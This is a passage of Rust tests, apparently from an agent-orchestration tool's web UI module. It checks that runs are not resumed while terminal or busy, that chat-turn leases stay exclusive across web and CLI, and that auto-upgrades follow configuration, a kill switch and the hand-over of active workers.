23759        assert_eq!(res.status, 400, "{}", res.body);
23760        assert_eq!(
23761            read_run(&runs, id).unwrap().status,
23762            RunStatus::Blocked,
23763            "a pull request that could not be confirmed merged must leave \
23764             the run exactly where it was"
23765        );
23766    }
23767
23768    #[tokio::test]
23769    async fn terminal_runs_cannot_be_resumed() {
23770        let fx = Fixture::start().await;
23771        let runs = fx.runs();
23772
23773        for (status, word) in [
23774            (RunStatus::Merged, "merged"),
23775            (RunStatus::Ready, "ready"),
23776            (RunStatus::Failed, "failed"),
23777        ] {
23778            let id = format!("20260901-000000-{}", &word[..4]);
23779            write_run(&runs, &id, status);
23780            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23781            assert_eq!(res.status, 409, "{word} must not be resumable");
23782        }
23783    }
23784
23785    #[tokio::test]
23786    async fn resume_is_refused_while_the_loop_is_running() {
23787        let fx = Fixture::start().await;
23788        let runs = fx.runs();
23789        let stalled = "20260901-000000-stal";
23790        write_run(&runs, stalled, RunStatus::Stalled);
23791
23792        // The loop is busy with a *different* run, and that is still a
23793        // refusal: a manual resume must never race whatever the loop itself
23794        // is already driving, whether that is one run or several.
23795        let mut beat = crate::daemon::Status::new();
23796        beat.current = vec![crate::daemon::Current {
23797            worker: None,
23798            task: "20260901-000000-task".to_owned(),
23799            run: "20260901-000000-othr".to_owned(),
23800        }];
23801        beat.updated_at = jiff::Timestamp::now();
23802        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23803            .expect("publish a heartbeat");
23804
23805        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23806        assert_eq!(res.status, 409);
23807        let err = res.json()["error"].as_str().unwrap().to_owned();
23808        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23809        assert!(err.contains("stop it first"), "{err}");
23810    }
23811
23812    #[test]
23813    fn a_run_cannot_be_resumed_twice_at_once() {
23814        let home = TempDir::new().expect("temp home");
23815        let ui = Ui::new(
23816            Queue::at(home.path().join("queue")),
23817            Questions::at(home.path().join("questions")),
23818            Talks::at(home.path().join("talks")),
23819            home.path().join("runs"),
23820            home.path().to_path_buf(),
23821            PathBuf::from("/repo"),
23822        )
23823        .with_worktrees_root(home.path().join("wt"));
23824        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23825        let again = ui.begin_resume("20260901-000000-once");
23826        assert!(again.is_err(), "a second tap must not start a second graph");
23827        drop(first);
23828        assert!(
23829            ui.begin_resume("20260901-000000-once").is_ok(),
23830            "and the claim is released when the attempt ends"
23831        );
23832    }
23833
23834    #[test]
23835    fn talk_thinking_tracks_only_its_held_turn_claim() {
23836        let home = TempDir::new().expect("temp home");
23837        let ui = Ui::new(
23838            Queue::at(home.path().join("queue")),
23839            Questions::at(home.path().join("questions")),
23840            Talks::at(home.path().join("talks")),
23841            home.path().join("runs"),
23842            home.path().to_path_buf(),
23843            PathBuf::from("/repo"),
23844        )
23845        .with_worktrees_root(home.path().join("wt"));
23846        let id = "20260901-000000-once";
23847
23848        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23849        let turn = ui.begin_talk_turn(id).expect("claim turn");
23850        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23851        assert!(
23852            !ui.is_thinking("20260901-000000-other"),
23853            "one talk's turn does not make another talk busy"
23854        );
23855        drop(turn);
23856        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23857    }
23858
23859    #[test]
23860    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23861        let home = TempDir::new().expect("temp home");
23862        let talks = Talks::at(home.path().join("talks"));
23863        let ui = Ui::new(
23864            Queue::at(home.path().join("queue")),
23865            Questions::at(home.path().join("questions")),
23866            talks.clone(),
23867            home.path().join("runs"),
23868            home.path().to_path_buf(),
23869            PathBuf::from("/repo"),
23870        )
23871        .with_worktrees_root(home.path().join("wt"));
23872        let id = "20260901-000000-cross";
23873
23874        let other = Talks::at(home.path().join("talks"))
23875            .claim_turn(id)
23876            .expect("claim")
23877            .expect("the other process wins");
23878        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23879        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23880        assert!(
23881            matches!(
23882                ui.begin_talk_turn_unless_pending(id).expect("start"),
23883                TalkTurnStart::Foreign
23884            ),
23885            "a foreign holder is refused, not queued behind"
23886        );
23887        assert!(
23888            !ui.talk_turns.lock().unwrap().live.contains(id),
23889            "a refused claim leaves no in-process entry behind"
23890        );
23891        drop(other);
23892        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23893        assert!(talks.turn_held(id), "the web turn holds the lease");
23894        drop(turn);
23895        assert!(
23896            !talks.turn_held(id),
23897            "dropping the guard releases the lease"
23898        );
23899    }
23900
23901    fn consult_question(ui: &Ui) -> Question {
23902        let mut q = Question::new(
23903            "20260901-000000-consult".to_owned(),
23904            "implement".to_owned(),
23905            "impl-A".to_owned(),
23906            "Which backend?".to_owned(),
23907            String::new(),
23908            vec!["SQLite".to_owned(), "Redis".to_owned()],
23909        );
23910        ui.questions.put(&mut q).expect("question");
23911        q
23912    }
23913
23914    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23915        (
23916            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23917            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23918        )
23919    }
23920
23921    #[tokio::test]
23922    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23923        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23924        let q = consult_question(&ui);
23925        let talk = ui.talks.get(&id).expect("talk");
23926        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23927        let before = consult_snapshot(&ui, &q, &id);
23928        let cli_talks = Talks::at(ui.home.join("talks"));
23929        assert_eq!(
23930            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23931                .await
23932                .expect("CLI starter"),
23933            crate::consult::Started::Busy
23934        );
23935        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23936        assert!(ui.is_thinking(&id));
23937        drop(guard);
23938        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23939    }
23940
23941    #[tokio::test]
23942    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23943        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23944        let q = consult_question(&ui);
23945        let talk = ui.talks.get(&id).expect("talk");
23946        let started = tmp.path().join("started");
23947        let release = tmp.path().join("release");
23948        let script = tmp.path().join("consult-agent.sh");
23949        std::fs::write(
23950            &script,
23951            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23952        )
23953        .expect("script");
23954        let mut cfg = stub_config();
23955        cfg.agents[0].id = "mock".to_owned();
23956        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23957        cfg.agents[0].env = std::collections::BTreeMap::from([
23958            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23959            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23960        ]);
23961        let questions = ui.questions.clone();
23962        let cli_talks = Talks::at(ui.home.join("talks"));
23963        let cli_q = q.clone();
23964        let turn = tokio::spawn(async move {
23965            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23966        });
23967        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23968            while !started.exists() {
23969                tokio::time::sleep(Duration::from_millis(10)).await;
23970            }
23971        })
23972        .await;
23973        // Always release and join the agent, even if readiness or the web
23974        // request fails, so a failed assertion cannot leave a turn behind.
23975        let refusal = if ready.is_ok() {
23976            let before = consult_snapshot(&ui, &q, &id);
23977            let result = talk_say(
23978                State(Arc::clone(&ui)),
23979                Path(id.clone()),
23980                Ok(Json(NewTalkTurn {
23981                    reply_to: None,
23982                    text: "another message".to_owned(),
23983                    attachments: Vec::new(),
23984                })),
23985            )
23986            .await;
23987            Some((result, before, consult_snapshot(&ui, &q, &id)))
23988        } else {
23989            None
23990        };
23991        std::fs::write(&release, "").expect("release agent");
23992        let done = turn.await.expect("join CLI turn");
23993        ready.expect("agent started before deadline");
23994        let (result, before, after) = refusal.expect("web request");
23995        let error = result.expect_err("web must refuse the CLI's turn");
23996        assert_eq!(error.status, StatusCode::CONFLICT);
23997        assert!(error.message.contains("a turn is already running"));
23998        assert_eq!(
23999            after, before,
24000            "refusal preserves question, draft and history"
24001        );
24002        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24003        let guard = ui
24004            .begin_talk_turn(&id)
24005            .expect("web claim")
24006            .expect("free again");
24007        drop(guard);
24008    }
24009
24010    #[test]
24011    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24012        let home = TempDir::new().expect("temp home");
24013        let talks = Talks::at(home.path().join("talks"));
24014        let ui = Ui::new(
24015            Queue::at(home.path().join("queue")),
24016            Questions::at(home.path().join("questions")),
24017            talks.clone(),
24018            home.path().join("runs"),
24019            home.path().to_path_buf(),
24020            PathBuf::from("/repo"),
24021        )
24022        .with_worktrees_root(home.path().join("wt"));
24023        let id = "20260901-000000-order";
24024        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24025        // Hold the slot mutex so the drop can finish the lease but not the slot.
24026        let slots = ui.talk_turns.lock().unwrap();
24027        let dropper = std::thread::spawn(move || drop(turn));
24028        let start = std::time::Instant::now();
24029        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24030            std::thread::sleep(Duration::from_millis(5));
24031        }
24032        assert!(!talks.turn_held(id), "the lease is released first");
24033        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24034        drop(slots);
24035        dropper.join().expect("join");
24036        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24037    }
24038
24039    #[tokio::test]
24040    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24041        let fx = Fixture::start().await;
24042        let mut beat = crate::daemon::Status::new();
24043        beat.worker_protocol = None;
24044        beat.pid = 4321;
24045        beat.updated_at = jiff::Timestamp::now();
24046        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24047            .expect("publish a heartbeat");
24048
24049        let res = fx.post("/api/upgrade", None).await;
24050        assert_eq!(res.status, 409);
24051    }
24052
24053    /// [`should_spawn_recheck`] must refuse for the same two reasons
24054    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24055    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24056    /// Purely a predicate over config and the environment - no network, no
24057    /// disk, no runtime - so unlike the fixture-based tests around it this
24058    /// one needs neither.
24059    #[test]
24060    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24061        assert!(!should_spawn_recheck(&crate::config::Update {
24062            mode: UpdateMode::Off,
24063            interval: None,
24064            auto_restart: false,
24065        }));
24066
24067        // SAFETY: single-threaded as far as this variable goes, the same
24068        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24069        unsafe {
24070            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24071        }
24072        let killed = should_spawn_recheck(&crate::config::Update {
24073            mode: UpdateMode::Notify,
24074            interval: None,
24075            auto_restart: false,
24076        });
24077        unsafe {
24078            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24079        }
24080        assert!(
24081            !killed,
24082            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24083             one-time startup check"
24084        );
24085
24086        assert!(should_spawn_recheck(&crate::config::Update {
24087            mode: UpdateMode::Notify,
24088            interval: None,
24089            auto_restart: false,
24090        }));
24091    }
24092
24093    /// [`recheck_poll_period`] must track a configured `[update] interval`
24094    /// shorter than its own default ceiling - a fixed sleep here would leave
24095    /// an operator's short interval waiting on the next wake-up instead of on
24096    /// `should_check`, which is the same bug this whole task exists to fix,
24097    /// just one level down.
24098    #[test]
24099    fn recheck_poll_period_tracks_a_short_configured_interval() {
24100        let short = crate::config::Update {
24101            mode: UpdateMode::Notify,
24102            interval: Some("1m".to_owned()),
24103            auto_restart: false,
24104        };
24105        let period = recheck_poll_period(&short);
24106        assert!(
24107            period <= Duration::from_secs(30),
24108            "a one-minute interval must wake the task far sooner than the \
24109             default ceiling, or the deck would not notice within the \
24110             interval the operator configured: got {period:?}"
24111        );
24112
24113        let default = crate::config::Update {
24114            mode: UpdateMode::Notify,
24115            interval: None,
24116            auto_restart: false,
24117        };
24118        assert_eq!(
24119            recheck_poll_period(&default),
24120            UPDATE_RECHECK_POLL_MAX,
24121            "the default day-long interval should poll at the (capped) \
24122             ceiling rather than needlessly often"
24123        );
24124    }
24125
24126    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24127    /// same throttle `updater::Checker::should_check` already gives the
24128    /// CLI's notify mode. Built over an explicit state file via
24129    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24130    /// write the operator's real `last_update_check.json` - and therefore
24131    /// cannot flake on whatever that file happens to say on the machine
24132    /// running the test.
24133    #[test]
24134    fn recheck_skips_the_network_before_the_interval_elapses() {
24135        let dir = TempDir::new().expect("temp dir");
24136        let path = dir.path().join("state.json");
24137        let state = kaishin::UpdateCheckState {
24138            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24139            last_known_latest: None,
24140            last_known_url: None,
24141        };
24142        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24143
24144        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24145        assert!(
24146            !update_recheck_due(&checker, None),
24147            "a check made moments ago must not be repeated before the \
24148             configured interval elapses"
24149        );
24150    }
24151
24152    /// An upgrade this deck already started must not be raced by a recheck
24153    /// that discovers a newer release mid-install - regardless of what
24154    /// `should_check` says, which is why the state file here is missing
24155    /// entirely: read alone, that alone would answer "never checked, go
24156    /// ahead".
24157    #[test]
24158    fn recheck_defers_to_an_upgrade_already_in_flight() {
24159        let dir = TempDir::new().expect("temp dir");
24160        let path = dir.path().join("state.json");
24161        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24162        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24163
24164        assert!(
24165            !update_recheck_due(&checker, Some(&progress)),
24166            "a recheck must not run while an upgrade this deck started is \
24167             still moving"
24168        );
24169    }
24170
24171    #[tokio::test]
24172    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24173        // The same env var the background check honours (`disabled_by_env`)
24174        // must also stop a button press before it ever calls
24175        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24176        // means "never contact GitHub from this process", and a tap on the
24177        // upgrade button must not override that any more than a broken
24178        // `magi.toml` may. Left unset, this fixture's default config would
24179        // otherwise reach a real, unauthenticated GitHub call.
24180        //
24181        // SAFETY: single-threaded as far as this variable goes - nothing else
24182        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24183        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24184        unsafe {
24185            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24186        }
24187        let fx = Fixture::start().await;
24188        let res = fx.post("/api/upgrade", None).await;
24189        unsafe {
24190            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24191        }
24192        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24193        let body = res.json();
24194        assert!(body["to"].is_null(), "there was no release to move to");
24195        assert!(body["parked"].is_null(), "and nothing was parked");
24196        assert!(
24197            body["detail"]
24198                .as_str()
24199                .unwrap()
24200                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24201            "{body:?}"
24202        );
24203    }
24204
24205    #[test]
24206    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24207        use AutoUpgradeDecision::{Skip, Trigger};
24208        let mut cfg = Update::default();
24209        assert!(matches!(
24210            auto_upgrade_decision(&cfg, false, false, "v2", None),
24211            Skip(_)
24212        ));
24213        cfg.auto_restart = true;
24214        assert_eq!(
24215            auto_upgrade_decision(&cfg, false, false, "v2", None),
24216            Trigger
24217        );
24218        for (disabled, moving, failed) in [
24219            (true, false, None),
24220            (false, true, None),
24221            (false, false, Some("v2")),
24222        ] {
24223            assert!(matches!(
24224                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24225                Skip(_)
24226            ));
24227        }
24228        assert_eq!(
24229            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24230            Trigger
24231        );
24232        cfg.mode = UpdateMode::Off;
24233        assert!(matches!(
24234            auto_upgrade_decision(&cfg, false, false, "v2", None),
24235            Skip(_)
24236        ));
24237    }
24238
24239    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24240        Box::pin(async { anyhow::bail!("test installer failed") })
24241    }
24242
24243    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24244        std::sync::LazyLock::new(Mutex::default);
24245
24246    fn test_replace_and_signal_handover(
24247        home: PathBuf,
24248    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24249        Box::pin(async move {
24250            if let Some(mut progress) = updater::read_progress(&home) {
24251                progress.advance(updater::Stage::Replaced);
24252                updater::write_progress_logged(&home, &progress);
24253            }
24254            if let Some(signal) = TEST_AUTO_HANDOVERS
24255                .lock()
24256                .unwrap_or_else(PoisonError::into_inner)
24257                .remove(&home)
24258            {
24259                signal.notify_one();
24260            }
24261            Ok(())
24262        })
24263    }
24264
24265    #[tokio::test]
24266    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24267        let home = TempDir::new().unwrap();
24268        let mut ui = idle_ui(&home);
24269        ui.repo = home.path().to_path_buf();
24270        // Every successful trigger in this test uses this seam, never the installer.
24271        ui.upgrade_runner = fail_test_upgrade;
24272        let ui = Arc::new(ui);
24273        let latest = |tag: &str| {
24274            Some(kaishin::LatestRelease {
24275                tag_name: tag.into(),
24276                html_url: String::new(),
24277            })
24278        };
24279
24280        // Opt-in default (`auto_restart = false`) does nothing.
24281        assert_eq!(
24282            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24283                .await
24284                .status(),
24285            StatusCode::NO_CONTENT
24286        );
24287        assert!(updater::read_progress(home.path()).is_none());
24288
24289        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24290        std::fs::write(
24291            home.path().join("magi.toml"),
24292            "[update]\nmode = \"off\"\nauto_restart = true\n",
24293        )
24294        .unwrap();
24295        assert_eq!(
24296            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24297                .await
24298                .status(),
24299            StatusCode::NO_CONTENT
24300        );
24301        assert!(updater::read_progress(home.path()).is_none());
24302
24303        std::fs::write(
24304            home.path().join("magi.toml"),
24305            "[update]\nauto_restart = true\n",
24306        )
24307        .unwrap();
24308
24309        // Missing detected release skips without re-querying.
24310        assert_eq!(
24311            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24312                .await
24313                .status(),
24314            StatusCode::NO_CONTENT
24315        );
24316        assert!(updater::read_progress(home.path()).is_none());
24317
24318        // Legacy embedded scheduler is still refused.
24319        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24320        std::fs::write(
24321            home.path().join("daemon.json"),
24322            serde_json::json!({
24323                "schema": 2,
24324                "pid": legacy_pid,
24325                "updated_at": Timestamp::now().to_string(),
24326                "idle": true,
24327            })
24328            .to_string(),
24329        )
24330        .unwrap();
24331        assert_eq!(
24332            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24333                .await
24334                .status(),
24335            StatusCode::CONFLICT
24336        );
24337        assert!(updater::read_progress(home.path()).is_none());
24338        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24339
24340        // Concurrent upgrade guard refuses while the request gate is held.
24341        let gate = ui.upgrade_gate.lock().await;
24342        assert_eq!(
24343            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24344                .await
24345                .status(),
24346            StatusCode::CONFLICT
24347        );
24348        drop(gate);
24349
24350        // Active chat turns no longer defer automatic upgrades.
24351        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24352        assert_eq!(
24353            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24354                .await
24355                .status(),
24356            StatusCode::ACCEPTED
24357        );
24358        let progress = updater::read_progress(home.path()).unwrap();
24359        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24360        assert_eq!(progress.stage, updater::Stage::Downloading);
24361        assert_eq!(
24362            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24363                .await
24364                .status(),
24365            StatusCode::CONFLICT
24366        );
24367        assert!(progress.parked_run.is_none());
24368        assert!(ui.start_detached_loop().await.is_err());
24369        assert!(ui.start_loop(None).is_err());
24370        assert!(ui.begin_resume("late").is_err());
24371        assert_eq!(
24372            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24373                .await
24374                .status(),
24375            StatusCode::NO_CONTENT
24376        );
24377        tokio::time::timeout(Duration::from_secs(2), async {
24378            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24379                tokio::task::yield_now().await;
24380            }
24381        })
24382        .await
24383        .unwrap();
24384        let progress = updater::read_progress(home.path()).unwrap();
24385        assert_eq!(progress.stage, updater::Stage::Failed);
24386
24387        // Same-release failure is suppressed for automatic retries.
24388        assert_eq!(
24389            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24390                .await
24391                .status(),
24392            StatusCode::NO_CONTENT
24393        );
24394
24395        // Manual retry still uses the shared path for the same tag.
24396        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24397        assert_eq!(
24398            finish_upgrade_request(&ui, result).status(),
24399            StatusCode::ACCEPTED
24400        );
24401        assert_eq!(
24402            updater::read_progress(home.path()).unwrap().trigger,
24403            updater::UpgradeTrigger::Manual
24404        );
24405        tokio::time::timeout(Duration::from_secs(2), async {
24406            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24407                tokio::task::yield_now().await;
24408            }
24409        })
24410        .await
24411        .unwrap();
24412
24413        // A newer release tag clears suppression for automatic updates.
24414        assert_eq!(
24415            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24416                .await
24417                .status(),
24418            StatusCode::ACCEPTED
24419        );
24420        assert_eq!(
24421            updater::read_progress(home.path()).unwrap().trigger,
24422            updater::UpgradeTrigger::Auto
24423        );
24424        tokio::time::timeout(Duration::from_secs(2), async {
24425            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24426                tokio::task::yield_now().await;
24427            }
24428        })
24429        .await
24430        .unwrap();
24431    }
24432
24433    #[tokio::test]
24434    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
24435        let home = TempDir::new().unwrap();
24436        std::fs::write(
24437            home.path().join("magi.toml"),
24438            "[update]\nauto_restart = true\n",
24439        )
24440        .unwrap();
24441        let mut ui = idle_ui(&home);
24442        ui.repo = home.path().to_path_buf();
24443        ui.upgrade_runner = test_replace_and_signal_handover;
24444        let ui = Arc::new(ui);
24445
24446        let workers = [
24447            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
24448            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
24449            (
24450                "333333",
24451                3_u64,
24452                "daemon-service",
24453                "service:maintenance",
24454                41_003_u32,
24455            ),
24456        ];
24457        let mut exec_leases = Vec::new();
24458        for (id, sequence, kind, key, pid) in workers {
24459            let dir = home.path().join("workers/jobs").join(id);
24460            std::fs::create_dir_all(&dir).unwrap();
24461            let payload = if kind == "chat" {
24462                serde_json::json!({ "talk": "active-chat" })
24463            } else {
24464                serde_json::json!({})
24465            };
24466            let job = crate::worker::Job {
24467                id: id.into(),
24468                sequence,
24469                kind: kind.into(),
24470                key: key.into(),
24471                payload,
24472                generation: "gen-old".into(),
24473                version: Some("0.1.0".into()),
24474                status: crate::worker::Status::Running,
24475                result: None,
24476                pid: Some(pid),
24477                created_at: 1,
24478                finished_at: None,
24479            };
24480            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
24481            exec_leases.push(crate::worker::execution_lease_for_test(
24482                &dir.join("live.lock"),
24483            ));
24484        }
24485        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
24486            .unwrap()
24487            .expect("free task lease");
24488        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
24489            .unwrap()
24490            .expect("free chat worker lease");
24491        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
24492            .unwrap()
24493            .expect("free service lease");
24494        let chat_turn = ui
24495            .begin_talk_turn("active-chat-turn")
24496            .expect("claim chat turn")
24497            .expect("free chat turn");
24498        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
24499
24500        // An unreadable reservation must defer replacement, not look like an
24501        // idle scheduler. Once repaired, the same release can still proceed.
24502        let corrupt = home.path().join("workers/jobs/444444");
24503        std::fs::create_dir_all(&corrupt).unwrap();
24504        std::fs::write(corrupt.join("job.json"), "{").unwrap();
24505        let latest = || {
24506            Some(kaishin::LatestRelease {
24507                tag_name: "v999.0.0".into(),
24508                html_url: String::new(),
24509            })
24510        };
24511        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24512        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
24513        assert!(updater::read_progress(home.path()).is_none());
24514        std::fs::remove_dir_all(corrupt).unwrap();
24515
24516        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24517            .await
24518            .expect("bind loopback");
24519        let address = listener.local_addr().expect("address");
24520        let served =
24521            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
24522
24523        let handover_signal = Arc::new(Notify::new());
24524        TEST_AUTO_HANDOVERS
24525            .lock()
24526            .unwrap_or_else(PoisonError::into_inner)
24527            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
24528
24529        let admission = ui.begin_admission().expect("admit");
24530        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24531        assert_eq!(response.status(), StatusCode::ACCEPTED);
24532        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
24533            .await
24534            .expect("auto upgrade runner must reach handover");
24535        let replaced = updater::read_progress(home.path()).unwrap();
24536        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
24537        assert_eq!(replaced.stage, updater::Stage::Replaced);
24538
24539        let successor_started = std::sync::atomic::AtomicBool::new(false);
24540        let handover = hand_over(home.path(), &ui.admissions, served, || {
24541            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24542            Ok(1)
24543        });
24544        tokio::pin!(handover);
24545        // Short admission drain still waits for an in-flight persistence/reservation guard.
24546        std::future::poll_fn(|cx| {
24547            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24548            std::task::Poll::Ready(())
24549        })
24550        .await;
24551        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
24552        assert!(ui.begin_admission().is_err());
24553
24554        drop(admission);
24555        tokio::time::timeout(Duration::from_secs(2), handover)
24556            .await
24557            .expect("automatic handover must not wait for active workers")
24558            .expect("handover");
24559        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24560
24561        let successor = bind_waiting(address)
24562            .await
24563            .expect("successor binds released address");
24564        assert_eq!(successor.local_addr().unwrap(), address);
24565
24566        let restarting = updater::read_progress(home.path()).unwrap();
24567        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
24568        assert_eq!(restarting.stage, updater::Stage::Restarting);
24569        assert!(restarting.parked_run.is_none());
24570        assert!(restarting.parked_talks.is_empty());
24571
24572        let active_after = crate::worker::observe_active(home.path()).unwrap();
24573        assert_eq!(active_after.len(), 3);
24574        for (id, _, kind, key, pid) in workers {
24575            let job = active_after
24576                .iter()
24577                .find(|job| job.id == id)
24578                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
24579            assert_eq!(job.kind, kind);
24580            assert_eq!(job.pid, Some(pid));
24581            assert_eq!(job.generation, "gen-old");
24582            assert_eq!(job.status, crate::worker::Status::Running);
24583            assert!(
24584                crate::worker::control(home.path(), key).unwrap().is_none(),
24585                "no park/stop control may be requested for {key}"
24586            );
24587        }
24588        assert!(
24589            !home.path().join("worker-parks").exists(),
24590            "automatic handover must never request worker parks"
24591        );
24592        assert!(chat_turn.owns(), "chat lease survives automatic handover");
24593        assert!(
24594            crate::worker::try_lease(home.path(), "task:active-task")
24595                .unwrap()
24596                .is_none()
24597        );
24598        assert!(
24599            crate::worker::try_lease(home.path(), "chat:active-chat")
24600                .unwrap()
24601                .is_none()
24602        );
24603        assert!(
24604            crate::worker::try_lease(home.path(), "service:maintenance")
24605                .unwrap()
24606                .is_none()
24607        );
24608
24609        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
24610        assert!(
24611            log.contains("auto-upgrade: beginning update and restart"),
24612            "{log}"
24613        );
24614        assert!(!log.contains("waiting for idle"), "{log}");
24615        assert!(!log.contains("idle;"), "{log}");
24616
24617        drop(successor);
24618        drop(chat_turn);
24619        drop(service_lease);
24620        drop(chat_lease);
24621        drop(task_lease);
24622        drop(exec_leases);
24623    }
24624
24625    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24626        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24627        p.stage = stage;
24628        p
24629    }
24630
24631    #[test]
